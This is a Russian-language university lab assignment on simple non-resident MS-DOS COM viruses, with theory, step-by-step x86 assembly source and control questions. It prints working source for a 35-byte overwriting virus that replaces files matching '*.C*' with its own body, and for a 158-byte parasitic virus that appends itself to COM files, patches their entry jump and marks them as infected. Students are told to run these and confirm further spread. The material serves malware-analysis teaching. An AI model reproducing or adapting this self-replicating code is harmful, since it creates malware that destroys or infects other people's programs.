ЛАБОРАТОРНАЯ РАБОТА № 3

"Исследование работы не резидентного COM вируса"

Цель работы. Исследовать на примере внедряющегося и перезаписывающегося вирусов работу простейших не резидентных COM-вирусов.

Краткие теоретические сведения

Программный объект, который заражается компьютерным вирусом называется жертва, программный объект, который уже содержит вирус и при запуске которого запускается вирус называется носителем.
Простейшие COM вирусы заражают файлы в текущем каталоге. Наиболее простым является перезаписывающий COM вирус, который находит файл в текущем каталоге и замещает его своим телом. Минимально необходимый набор подсистем данного вируса – подсистема поиска объекта заражения и подсистема заражения. Попробуем представить как должен выглядеть вирус такого типа, имеющий минимальный размер.
Первое что необходимо вирусу – найти файл по маске

```
mov ah, 4Eh
mov dx, offset fmask
int 21h
```

При этом маска для поиска файлов размещается в области данных имеет вид

```
mask db '*.C*',0
```

Поскольку вирус должен быть минимального размера, то проверки на успешность срабатывания функций MS-DOS мы производить не будем.
Следующим шагом после нахождения файла будет его открытие

```
mov ax,3D02h
mov dx,9Eh
int 21h
```

Опять проверки мы не производим, предполагая, что функция сработала успешно. Теперь просто записываем тело вируса в начало файла.

```
xchg ax,bx
mov dx,100h
mov ah,40h
mov cl,vir_len
int 21h
```

Затем закрываем файл и выходим из программы.

```
mov ah,3Eh
int 21h
ret
```

Длину вируса определяем константой

```
vir_len equ $-vir
```

Учитывая стандартные начало и конец COM программы исходный текст простейший Overwriter вируса будет занимать 35 байт.
Внедряющийся вирус в отличие от перезаписывающего сохраняет работоспособность носителя, обычно восстанавливая его в памяти и передавая ему управление. Заражение может происходить записью вируса в начало, середину и конец файла. Наиболее простым способом является заражение в конец файла, при этом вирус организует передачу управления на свой код
Простейший внедряющийся COM вирус отличается наличием процедур отвечающих за нахождение своего тела в теле жертвы (для адресации своих внутренних переменных), восстановление носителя и передачи управления носителю.
Далее приведен

Простейший Parasitic (158 байт)
Моделируем зараженную программу

```
start:
jmp near ptr vir
db '7'                    ;7 - признак заражения
```

Определяем дельта смещение

```
vir:                  ; Начало вируса
call next
next:
pop bp                ; В регистре bp адрес метки next
sub bp,offset next
```

Восстанавливаем программу-носитель

```
fresh_bytes:
mov ax,[bp+offset old_bytes]
mov cs:[100h],ax
mov ax,[bp+offset old_bytes+2]
mov cs:[102h],ax
```

Ищем жертву – первый com файл по маске

```
find_first:
mov ah,4eh
xor cx,cx
lea dx,[bp+offset maska]
int 21h
jc exit
```

Заражаем жертву. Сначала открываем найденный файл для чтения и записи

```
open:
mov ax,3d02h
lea dx,ds:[09eh]
int 21h
jc exit
```

Сохраняем первые четыре байта в переменной old_bytes
```
save_bytes:
mov bx,ax
mov ah,03fh
mov cx,4
lea dx,[bp+offset old_bytes]
int 21h
jc find_next
```
Проверяем метку заражения
```
proverka:
cmp byte ptr[bp+old_bytes+3],'7'
jz find_next
```
Перемещаем указатель чтения записи на конец файла
```
write_vir:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc find_next
```
Вычисляем куда будет прыгать jmp в начале зараженного файла
```
sub ax,3
mov [bp+offset new_bytes+1],ax
```
Пишем вирус в конец файла
```
mov ah,40h
mov cx,vir_len
lea dx,[bp+offset vir]
int 21h
jc find_next
```
Перемещаем указатель чтения записи на начало файла
```
write_bytes:
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc find_next
```
Перезаписываем первые четыре байта заражаемого файла
```
mov ah,40h
mov cx,4
lea dx,[bp+offset new_bytes]
int 21h
```
Ищем следующий файл по маске
```
find_next:
mov ah,3eh
int 21h
mov ah,4fh
```

```
int 21h
jnc open
```
Передаем управление на начало восстановленного носителя
```
exit:
mov ax,100h
push ax
ret
```
Далее располагается область данных вируса. Здесь сохраняются оригинальные байты заражаемой программы
```
old_bytes dw 090c3h  ;команды ret и nop
dw 03790h            ;nop и метка заражения
```
Далее располагается маска для поиска файлов
```
maska db '*.com',0
```
Новые байты записываемые в начало жертвы
```
new_bytes db 0e9h    ;команда jmp
dw 0                 ;смещение на которое прыгает jmp
db '7'               ;метка заражения
```
Далее вычисляется длина вируса
```
vir_len equ $-vir
end start
```

Порядок выполнения работы

1. Создать простейший COM вирус согласно исходному тексту.
2. Исследовать работу вируса в отладчике.
3. Запустить вирус и убедиться, что он заражает COM файлы.
4. Запустить зараженные COM файлы и убедиться, что они корректно работают и заражают далее другие файлы.
5. Добавить сохранение и восстановления даты и времени файла.
6. Реализовать другим способом.

Содержание отчета по выполненной работе

Отчет должен содержать номер и наименование лабораторной работы, данные о студентах, ее выполнивших, исходные тексты разработанных программ и исполняемые файлы с ними в электронном виде и выводы по результатам проделанной работы.

Контрольные вопросы

1. Что такое внедряющийся COM - вирус.
2. Что такое перезаписывающий COM вирус.
3. Какие функции работают с файлами.
4. Какие команды можно применять в шифровании?
5. Объясните работу предложенного фрагмента из лабораторной.